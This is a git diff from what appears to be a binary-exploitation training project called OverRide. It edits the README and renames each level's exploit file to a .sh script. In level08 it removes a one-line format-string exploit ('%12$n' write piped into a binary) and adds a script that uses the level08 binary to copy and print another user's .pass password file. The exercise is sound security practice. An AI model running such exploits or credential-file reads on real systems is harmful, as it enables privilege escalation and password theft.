diff --git a/README.md b/README.md index d59172b..78059c9 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,9 @@ # OverRide -Override is a project where the goal is to exploit vulnerabilities in binaries by reverse engineering them to make them display a file containing passwords. It is divided into 10 levels (level00 to level09). +Override is a project where the goal is to exploit vulnerabilities in binaries by reverse engineering them to make them display a file containing passwords. It is divided into 9 mandatory levels and 1 bonus level (level00 to level08, level09 being the bonus). ## Methodology This project was carried out using peer programming. Working together on the same machine, we decompiled binaries, tested various exploits, and analyzed vulnerabilities collaboratively. -## [Subject](./en.subject.pdf) \ No newline at end of file +## [Subject](./en.subject.pdf) diff --git a/level00/ressources/exploit b/level00/ressources/exploit.sh similarity index 100% rename from level00/ressources/exploit rename to level00/ressources/exploit.sh diff --git a/level01/ressources/exploit b/level01/ressources/exploit.sh similarity index 100% rename from level01/ressources/exploit rename to level01/ressources/exploit.sh diff --git a/level02/ressources/exploit b/level02/ressources/exploit.sh similarity index 100% rename from level02/ressources/exploit rename to level02/ressources/exploit.sh diff --git a/level03/ressources/exploit b/level03/ressources/exploit.sh similarity index 100% rename from level03/ressources/exploit rename to level03/ressources/exploit.sh diff --git a/level04/ressources/exploit b/level04/ressources/exploit.sh similarity index 100% rename from level04/ressources/exploit rename to level04/ressources/exploit.sh diff --git a/level07/ressources/exploit b/level07/ressources/exploit.sh similarity index 100% rename from level07/ressources/exploit rename to level07/ressources/exploit.sh diff --git a/level08/ressources/exploit b/level08/ressources/exploit deleted file mode 100644 index dedc96c..0000000 --- a/level08/ressources/exploit +++ /dev/null @@ -1 +0,0 @@ -(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4 diff --git a/level08/ressources/exploit.sh b/level08/ressources/exploit.sh new file mode 100644 index 0000000..c5193bf --- /dev/null +++ b/level08/ressources/exploit.sh @@ -0,0 +1,3 @@ +mkdir -p backups/home/users/level09 +~/level08 /home/users/level09/.pass +cat backups/home/users/level09/.pass diff --git a/level09/ressources/exploit b/level09/ressources/exploit.sh similarity index 100% rename from level09/ressources/exploit rename to level09/ressources/exploit.sh